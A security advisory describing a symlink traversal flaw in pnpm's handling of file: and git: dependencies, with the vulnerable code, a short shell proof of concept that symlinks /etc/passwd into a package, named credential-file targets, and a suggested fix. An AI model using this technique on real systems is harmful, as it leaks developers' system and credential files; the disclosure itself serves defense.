pnpm has symlink traversal in file:/git dependencies

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

# Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

# Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

# Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

• Developers installing local/file dependencies
• CI/CD pipelines installing git dependencies
• Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.